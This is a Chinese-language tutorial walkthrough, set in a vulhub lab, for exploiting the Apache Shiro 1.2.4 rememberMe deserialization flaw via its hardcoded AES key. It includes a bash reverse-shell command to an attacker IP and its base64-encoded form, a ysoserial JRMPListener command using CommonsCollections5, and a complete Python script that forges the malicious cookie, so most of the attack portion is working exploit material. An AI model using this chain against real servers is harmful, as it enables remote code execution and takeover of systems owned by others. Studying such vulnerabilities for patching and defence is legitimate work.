声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。
Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。
Apache Shiro框架提供了记住我(rememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManage类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码。
**漏洞分析:**Apache Shiro默认使用了CookieRememberMeManage,其处理cookie是的流程是:得到rememberMe的cookie值 > Base64解码 > AES解密 > 反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞
**漏洞特征:**在返回包的Set-Cookie中存在rememberMe=deleteMe字段
Apache Shiro <= 1.2.4
漏洞环境搭建采用vulhub,具体方式,这里不在赘述。环境启动后,浏览器访问一下
我们利用漏洞的最终目的是要远程执行命令(反弹shell),来获取服务器的权限
所以,我们先在攻击机上起nc监听
然后,将反弹shell命令:bash -i >& /dev/tcp/192.168.40.86/1234 0>&1,在https://ares-x.com/tools/runtime-exec/网站上做编码处理。
编码处理后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjg2LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
备注:做这一步编码处理的原因是:Java下命令执行使用到的Runtime.getRuntime().exec(cmd),在处理带有| ,<,>,空格等符号的命令时,没办法正确执行,所以做Base64编码处理
Java反序列化漏洞利用,需要用到ysoserial这一个反序列化利用工具,而我们这次使用到的是其中的JRMP模块
JRMP模块利用方式如下:
一、 ysoserial中的exploit/JRMPClient是作为攻击方的代码,一般会结合payloads/JRMPLIstener使用。
攻击流程如下:
需要发送payloads/JRMPLIstener内容到漏洞服务器中,在该服务器反序列化完成我们的payload后会开启一个RMI的服务监听在设置的端口上。
我们还需要在我们自己的服务器使用exploit/JRMPClient与存在漏洞的服务器进行通信,并且发送一个gadgets对象,达到一个命令执行的效果。(前面说过RMI协议在传输都是传递序列化,接收数据后进行反序列化操作。)
简单来说就是将一个payload发送到服务器,服务器反序列化操作该payload过后会在指定的端口开启RMI监听,然后通过exploit/JRMPClient 去发送攻击 gadgets对象。
二、第二种利用方式和上面的类似,exploit/JRMPListener作为攻击方进行监听,在反序列化漏洞位置发送payloads/JRMPClient向我们的exploit/JRMPListener进行连接,连接后会返回在exploit/JRMPListener的gadgets对象并且进行反序列化
攻击流程如下:
攻击方在自己的服务器使用exploit/JRMPListener开启一个rmi监听
往存在漏洞的服务器发送payloads/JRMPClient,payload中已经设置了攻击者服务器ip及JRMPListener监听的端口,漏洞服务器反序列化该payload后,会去连接攻击者开启的rmi监听,在通信过程中,攻击者服务器会发送一个可执行命令的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。
针对该漏洞,我们采用第二种利用方式
github上搜索并下载、编译ysoserial,得到ysoserial.jar包
运行指令(通过 ysoserial中的JRMP监听模块,监听 6666 端口并执行反弹shell命令)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjg2LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'
接下来,编写脚本伪造cookie,脚本如下:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
执行脚本 : python3 shiro.py 192.168.40.86:6666
页面登录,输入任意用户名和密码,并勾选Remember me ,BP抓包,并替换掉cookie内容